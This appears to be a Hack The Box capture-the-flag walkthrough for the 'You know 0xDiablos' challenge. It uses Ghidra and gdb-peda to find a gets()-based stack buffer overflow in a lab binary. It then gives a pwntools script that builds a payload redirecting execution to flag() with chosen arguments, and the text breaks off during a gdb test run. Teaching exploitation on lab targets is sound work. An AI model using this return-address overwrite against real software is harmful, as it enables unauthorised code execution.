SYNOPSIS
Outlining the attack path demonstrated in this writeup is much easier through a picture rather than a description, since a picture is worth a thousand words.
The aim of this walkthrough is to provide help with the You know 0xDiablos challenge on the Hack The Box website. Please note that no flags are directly provided here. Moreover, be aware that this is only one of the many ways to solve the challenges.
It belongs to a series of tutorials that aim to help out with finishing the Beginner-Track challenges.
PREPARING-CHALLENGE-FILES
After a quick look at the challenge description
I missed my flag
we proceed directly by downloading the challenge files.
There is only one compressed file called - You know 0xDiablos.zip - and we use the provided sha256 checksum to verify it’s integrity.
# shell command
echo -n "307744fa0ae574756157a4607e307492141fdf1f000f6289eab4a8741729469c You know 0xDiablos.zip" | sha256sum -c
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ ll
total 4.0K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 3.0K May 31 22:01 'You know 0xDiablos.zip'
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ echo -n "307744fa0ae574756157a4607e307492141fdf1f000f6289eab4a8741729469c You know 0xDiablos.zip" | sha256sum -c
You know 0xDiablos.zip: OK
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
It looks like our file has not been tampered with so we continue by decompressing it.
# shell command
unzip -P hackthebox You\ know\ 0xDiablos.zip
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ unzip -P hackthebox You\ know\ 0xDiablos.zip
Archive: You know 0xDiablos.zip
skipping: vuln need PK compat. v5.1 (can do v4.6)
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
But when trying to decompress the archive, we get an error back. Looking for a fix online steers us towards the 7z file archiver. And since it’s already installed on the pwnbox, all that’s left for us now is to run it and extract the files.
# shell command
7z x -phackthebox You\ know\ 0xDiablos.zip
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ 7z x -phackthebox You\ know\ 0xDiablos.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs DO-Regular (306F2),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3058 bytes (3 KiB)
Extracting archive: You know 0xDiablos.zip
--
Path = You know 0xDiablos.zip
Type = zip
Physical Size = 3058
Everything is Ok
Size: 15656
Compressed: 3058
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ ll
total 20K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 16K Nov 2 2019 vuln
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 3.0K May 31 22:01 'You know 0xDiablos.zip'
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
INFORMATION-GATHERING
Looking at the result, the archive contains only one file:
- vuln
Getting a better read on it
# shell command
file vuln
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux 3.2.0, not stripped
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
reveals it as a linux executable, so we give it execution rights.
# shell command
chmod a+x vuln
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ ll
total 20K
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 16K Nov 2 2019 vuln
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 3.0K May 31 22:01 'You know 0xDiablos.zip'
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ chmod a+x vuln
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ ll
total 20K
-rwxr-xr-x 1 htb-bluewalle htb-bluewalle 16K Nov 2 2019 vuln
-rw-r--r-- 1 htb-bluewalle htb-bluewalle 3.0K May 31 22:01 'You know 0xDiablos.zip'
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
Running a file name vuln sounds like a great idea, so why not do it? :)
# shell command
./vuln
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ ./vuln
You know who are 0xDiablos:
test
test
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
At our first run, seemingly all the program did was to echo our input back to us. Hopefully we get more luck with the printable characters from the binary.
# shell command
strings vuln > vuln-strings.txt
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ strings vuln > vuln-strings.txt
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ cat vuln-strings.txt
tdX
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
exit
fopen
puts
printf
fgets
stdout
setresgid
getegid
setvbuf
__libc_start_main
GLIBC_2.1
GLIBC_2.0
__gmon_start__
[^_]
flag.txt
Hurry up and try in on server side.
You know who are 0xDiablos:
;*2$"
GCC: (Debian 8.3.0-19) 8.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.6887
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
vuln.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
__x86.get_pc_thunk.bx
printf@@GLIBC_2.0
__x86.get_pc_thunk.bp
vuln
fgets@@GLIBC_2.0
_edata
getegid@@GLIBC_2.0
__data_start
puts@@GLIBC_2.0
__gmon_start__
exit@@GLIBC_2.0
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
setvbuf@@GLIBC_2.0
fopen@@GLIBC_2.1
_dl_relocate_static_pie
_fp_hw
stdout@@GLIBC_2.0
__bss_start
main
__TMC_END__
setresgid@@GLIBC_2.0
flag
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
REVERSE-ENGINEERING–STATIC-ANALYSIS
No flag there, so we move on and try disassembling it with ghidra. A bit of reverse engineering, static analysis in particular reveals the following:
- main() calls vuln(), which does nothing except reading some data from a specific location and writing it back
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void vuln(void)
{
char local_bc [180];
gets(local_bc);
puts(local_bc);
return;
}
- vuln() uses the gets function which is known to be susceptible to buffer overflows
- it is important to note, that it uses a 180 character long array to store the value it reads and echoes back
- the flag() function simply opens up flag.txt for reading, does some verification on the two parameters, and if they are correct, returns some value.
This is how the decompiled source code for the flag() function looks like.
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void flag(int param_1,int param_2)
{
char local_50 [64];
FILE *local_10;
local_10 = fopen("flag.txt","r");
if (local_10 != (FILE *)0x0) {
fgets(local_50,0x40,local_10);
if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
printf(local_50);
}
return;
}
puts("Hurry up and try in on server side.");
/* WARNING: Subroutine does not return */
exit(0);
}
The parameter check especially seems very important,
...
if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3))
...
therefore, we use the ghidra’s built-in functionality to convert the two hex values into character strings.
...
if ((param_1 == L'\xdeadbeef') && (param_2 == L'\xc0ded00d')) {
...
It looks like we are already in the possession of all the missing pieces and it’s time to finally put them together. So in a nutshell, we have a buffer overflow and a function (flag()) which we want to run.
BUFFER-OVERFLOW-VULNERABILITIES
Therefore, our main idea here is to overwrite the return address stored on the stack for the vuln() function, so that when the program returns from vuln(), the execution continues with the flag() function.
There is a very nice blog post available explaining buffer overflows and stack canaries in more detail.
But for now, these are some important things to know about when working with functions calls:
- before calling a function, the next instruction is pushed to the stack
- once the function returns, the previously pushed instruction is popped from the stack
- regarding memory layout: stack grows downward
- parameters are put on stack before the function is called – in our case our stack frame could look like this when calling - flag (param_1, param_2) -
Previous frame | |
param_2 | |
param_1 | |
Return address | |
Previous frame address | |
Local variables | |
Free memory |
This idea of overwriting the return address with a buffer overflow is called smashing the stack and it’s steps can briefly explained as:
- function contains a buffer variable allocated on stack – in our case, this is the local_bc variable in vuln()
- function copies user-controlled data to buffer without verifying that data size is smaller that buffer – vuln() does exactly that, the gets() function does no verification
- user data overwrites other variables on stack, up to return address saved in stack frame – we would overwrite the return address for vuln() with the starting address of the flag() function
- when procedure returns, program fetches return address from stack and copies it to EIP (instruction pointer) register – when the next instruction is executed, execution jumps to the flag() function
- program is now executing our code – in our case the flag() function
So the stack frames for the vuln() function could look like this:
Previous frame - in main() | |
Return address for vuln() – OVERWRITE | |
Previous frame address – (old ebp) – OVERWRITE | |
local variables – local_bc | |
Free memory |
Let’s try and do a quick check by generating some garbage data that’s at least 180 character long. The local_bc variable in vuln() is a 180 char long buffer.
# shell command
python -c "print('A'*180)" | ./vuln
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ python -c "print('A'*180)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ python -c "print('A'*181)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ python -c "print('A'*182)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ python -c "print('A'*183)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ python -c "print('A'*184)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ python -c "print('A'*185)" | ./vuln
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
We get a segmentation fault back for 184 characters and above, which is usually the first indicator for a buffer overflow vulnerability. It means, that the we have successfully overwritten the return address with some garbage (A’s) and the program breaks down because that address is not valid.
GDB-PEDA
Our next course of action is to find out the flag() function’s memory address. But since working on buffer overflows is always easier when gdb is teamed up with peda, let’s install it first.
# shell command
git clone https://github.com/longld/peda.git ~/peda
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/Desktop]
└──╼ [★]$ git clone https://github.com/longld/peda.git ~/peda
Cloning into '/home/htb-bluewalle/peda'...
remote: Enumerating objects: 382, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 382 (delta 2), reused 8 (delta 2), pack-reused 373
Receiving objects: 100% (382/382), 290.84 KiB | 5.10 MiB/s, done.
Resolving deltas: 100% (231/231), done.
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/Desktop]
└──╼ [★]$
# shell command
echo "source ~/peda/peda.py" >> ~/.gdbinit
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/Desktop]
└──╼ [★]$ echo "source ~/peda/peda.py" >> ~/.gdbinit
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/Desktop]
└──╼ [★]$
Once everything is set up, we run gdb on our executable.
# shell command
gdb vuln -q
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ gdb vuln -q
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$
Once nice thing about peda that it already includes most of the tools you would need for payload generation. Let’s create a pattern/payload that definitely results in a segmentation fault.
# gdb command
pattern_create 200 payload-200.txt
# terminal interaction
gdb-peda$ pattern_create --help
Generate a cyclic pattern
Set "pattern" option for basic/extended pattern type
Usage:
pattern_create size [file]
gdb-peda$ pattern_create 200 pattern-200.txt
Writing pattern of 200 chars to filename "pattern-200.txt"
gdb-peda$
Then we feed this payload to our executable when running it.
# gdb command
run < pattern-200.txt
# terminal interaction
gdb-peda$ run < pattern-200.txt
Starting program: /home/htb-bluewalle/you-know-0xdiablos/vuln < pattern-200.txt
You know who are 0xDiablos:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x76414158 ('XAAv')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0x41594141 ('AAYA')
ESP: 0xffffd060 ("ZAAxAAyA")
EIP: 0x41417741 ('AwAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41417741
[------------------------------------stack-------------------------------------]
0000| 0xffffd060 ("ZAAxAAyA")
0004| 0xffffd064 ("AAyA")
0008| 0xffffd068 --> 0xffffd100 --> 0x1
0012| 0xffffd06c --> 0x3eb
0016| 0xffffd070 --> 0xffffd090 --> 0x1
0020| 0xffffd074 --> 0x0
0024| 0xffffd078 --> 0x0
0028| 0xffffd07c --> 0xf7de0e46 (<__libc_start_main+262>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41417741 in ?? ()
gdb-peda$
Great, the program broke down because the EIP (extended instruction pointer) was overwritten with our garbage data. Currently it holds - (‘AwAA’) - which is simply junk data, but it should had the return address when returning from the vuln() to main().
So our goal now is controlling what exactly get’s written into this register. For that, we need to find the offset. Put simply, exactly just how many characters are before this - (‘AwAA’) - character string? Let’s check the offset for the EIP which contains the value of - 0x41417741 or AwAA’ -.
# gdb command
pattern_offset 0x41417741
# terminal interaction
gdb-peda$ pattern_offset 0x41417741
1094809409 found at offset: 188
gdb-peda$
It looks like our offset is at 188. Now, to redirect the execution flow to the flag() function, we first need to know it’s starting address. This memory address - 0x080491e2 - is the first address we find when we disassemble the flag() function.
# shell command
disass flag
# terminal interaction
gdb-peda$ disass flag
Dump of assembler code for function flag:
0x080491e2 <+0>: push ebp
0x080491e3 <+1>: mov ebp,esp
0x080491e5 <+3>: push ebx
0x080491e6 <+4>: sub esp,0x54
0x080491e9 <+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x080491ee <+12>: add ebx,0x2e12
0x080491f4 <+18>: sub esp,0x8
0x080491f7 <+21>: lea eax,[ebx-0x1ff8]
0x080491fd <+27>: push eax
0x080491fe <+28>: lea eax,[ebx-0x1ff6]
0x08049204 <+34>: push eax
0x08049205 <+35>: call 0x80490b0 <fopen@plt>
0x0804920a <+40>: add esp,0x10
0x0804920d <+43>: mov DWORD PTR [ebp-0xc],eax
0x08049210 <+46>: cmp DWORD PTR [ebp-0xc],0x0
0x08049214 <+50>: jne 0x8049232 <flag+80>
0x08049216 <+52>: sub esp,0xc
0x08049219 <+55>: lea eax,[ebx-0x1fec]
0x0804921f <+61>: push eax
0x08049220 <+62>: call 0x8049070 <puts@plt>
0x08049225 <+67>: add esp,0x10
0x08049228 <+70>: sub esp,0xc
0x0804922b <+73>: push 0x0
0x0804922d <+75>: call 0x8049080 <exit@plt>
0x08049232 <+80>: sub esp,0x4
0x08049235 <+83>: push DWORD PTR [ebp-0xc]
0x08049238 <+86>: push 0x40
0x0804923a <+88>: lea eax,[ebp-0x4c]
0x0804923d <+91>: push eax
0x0804923e <+92>: call 0x8049050 <fgets@plt>
0x08049243 <+97>: add esp,0x10
0x08049246 <+100>: cmp DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>: jne 0x8049269 <flag+135>
0x0804924f <+109>: cmp DWORD PTR [ebp+0xc],0xc0ded00d
0x08049256 <+116>: jne 0x804926c <flag+138>
0x08049258 <+118>: sub esp,0xc
0x0804925b <+121>: lea eax,[ebp-0x4c]
0x0804925e <+124>: push eax
0x0804925f <+125>: call 0x8049030 <printf@plt>
0x08049264 <+130>: add esp,0x10
0x08049267 <+133>: jmp 0x804926d <flag+139>
0x08049269 <+135>: nop
0x0804926a <+136>: jmp 0x804926d <flag+139>
0x0804926c <+138>: nop
0x0804926d <+139>: mov ebx,DWORD PTR [ebp-0x4]
0x08049270 <+142>: leave
0x08049271 <+143>: ret
End of assembler dump.
gdb-peda$
GENERATING-PAYLOAD-WITH-PWNTOOLS
It’s time to set out to create our payload. Using pwntools in a scenario like this could immensely speed up the whole payload generation process.
There are clear instructions on the website regarding the installation, so we just follow along.
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
Once installed, let’s create a scipt for payload generation.
# shell command
touch payload-get.py
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ touch payload-gen.py
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ codium payload-gen.py
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
Moreover, let’s use the checksec command to check the binary security settings.
# shell command
checksec vuln
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ checksec --help
usage: pwn checksec [-h] [--file [elf ...]] [elf ...]
Check binary security settings
positional arguments:
elf Files to check
optional arguments:
-h, --help show this help message and exit
--file [elf ...] File to check (for compatibility with checksec.sh)
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ checksec vuln
[*] '/home/htb-bluewalle/you-know-0xdiablos/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
There a couple of thing’s we need to keep in mind when we create the payload:
- our target is a 32-bit executable
- endianness: little-endian (LE) – from LSB executable ( - file vuln - output)
As for the script, it’s just mostly just putting together all the little pieces we gathered up to now.
# payload-gen.py
from pwn import *
offset = 188
flag_addr = 0x080491e2
eip_addr = p32(flag_addr)
garbage = b'A'*offset
previous_frame = b'A'*4
param_1 = p32(0xdeadbeef)
param_2 = p32(0xc0ded00d)
payload = garbage + eip_addr + previous_frame + param_1 + param_2
with open("payload.txt", "wb") as file:
file.write(payload)
It’s one of the simplest ones, but even here, there are a few things to take a note of:
- the return address which we overwrite, - eip_addr - is packaged as hex in a little endian format (default for p32())
- the output file - payload.txt - is opened in a binary (b) mode for writing (w)
- we use c calling conventions to determine which parameter goes first and which second
- the data in previous_frame is arbitrary, it simply acts as a filler, but it has to be exactly 4 byte long
- the same packaging is used on the parameters as with the flag’s starting address
It’s time for a test. Let’s set a breakpoint at the flag() function
# gdb command
b flag
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ b flag
Breakpoint 1 at 0x80491e6
gdb-peda$
before feeding the executable our new payload.
# gdb command
r < payload.txt
# terminal interaction
gdb-peda$ r < payload.txt
Starting program: /home/htb-bluewalle/you-know-0xdiablos/vuln < payload.txt
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
[----------------------------------registers-----------------------------------]
EAX: 0xc1
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0xffffd05c ("AAAA")
ESP: 0xffffd058 ("AAAAAAAA")
EIP: 0x80491e6 (<flag+4>: sub esp,0x54)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491e2 <flag>: push ebp
0x80491e3 <flag+1>: mov ebp,esp
0x80491e5 <flag+3>: push ebx
=> 0x80491e6 <flag+4>: sub esp,0x54
0x80491e9 <flag+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x80491ee <flag+12>: add ebx,0x2e12
0x80491f4 <flag+18>: sub esp,0x8
0x80491f7 <flag+21>: lea eax,[ebx-0x1ff8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd058 ("AAAAAAAA")
0004| 0xffffd05c ("AAAA")
0008| 0xffffd060 --> 0x0
0012| 0xffffd064 --> 0xffffd134 --> 0xffffd2ca ("/home/htb-bluewalle/you-know-0xdiablos/vuln")
0016| 0xffffd068 --> 0xffffd13c --> 0xffffd2f6 ("SHELL=/bin/bash")
0020| 0xffffd06c --> 0x3eb
0024| 0xffffd070 --> 0xffffd090 --> 0x1
0028| 0xffffd074 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491e6 in flag ()
gdb-peda$
It worked, the execution flow was successfully redirected to the flag() function. Taking an other look at the decompiled flag() function, we notice our next hurdle:
...
if (local_10 != (FILE *)0x0)
...
Put plainly, we can only pass if the file mentioned - flag.txt - was successfully opened. So let’s create such a file locally.
# shell command
echo -n "SUCCESS" > flag.txt
# terminal interaction
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ echo -n "SUCCESS" > flag.txt
┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ cat flag.txt
SUCCESS┌─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$
Let’s run gdb again
# gdb commands
b flag
r < payload.txt
# terminal interaction
─[eu-dedivip-1]─[10.10.14.11]─[htb-bluewalle@htb-xyiqhjz8bb]─[~/you-know-0xdiablos]
└──╼ [★]$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ b flag
Breakpoint 1 at 0x80491e6
gdb-peda$ r < payload.txt
Starting program: /home/htb-bluewalle/you-know-0xdiablos/vuln < payload.txt
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���Aᆳ�
[----------------------------------registers-----------------------------------]
EAX: 0xcd
EBX: 0x41414141 ('AAAA')
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7faa000 --> 0x1e3d6c
EDI: 0xf7faa000 --> 0x1e3d6c
EBP: 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
ESP: 0xffffd058 ('A' <repeats 12 times>, "ᆳ\336\r\320\336\300")
EIP: 0x80491e6 (<flag+4>: sub esp,0x54)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491e2 <flag>: push ebp
0x80491e3 <flag+1>: mov ebp,esp
0x80491e5 <flag+3>: push ebx
=> 0x80491e6 <flag+4>: sub esp,0x54
0x80491e9 <flag+7>: call 0x8049120 <__x86.get_pc_thunk.bx>
0x80491ee <flag+12>: add ebx,0x2e12
0x80491f4 <flag+18>: sub esp,0x8
0x80491f7 <flag+21>: lea eax,[ebx-0x1ff8]
[------------------------------------stack-------------------------------------]
0000| 0xffffd058 ('A' <repeats 12 times>, "ᆳ\336\r\320\336\300")
0004| 0xffffd05c ("AAAAAAAAᆳ\336\r\320\336\300")
0008| 0xffffd060 ("AAAAᆳ\336\r\320\336\300")
0012| 0xffffd064 --> 0xdeadbeef
0016| 0xffffd068 --> 0xc0ded00d
0020| 0xffffd06c --> 0x300
0024| 0xffffd070 --> 0xffffd090 --> 0x1
0028| 0xffffd074 --> 0x0
[------------------------------------------------------------------------------]
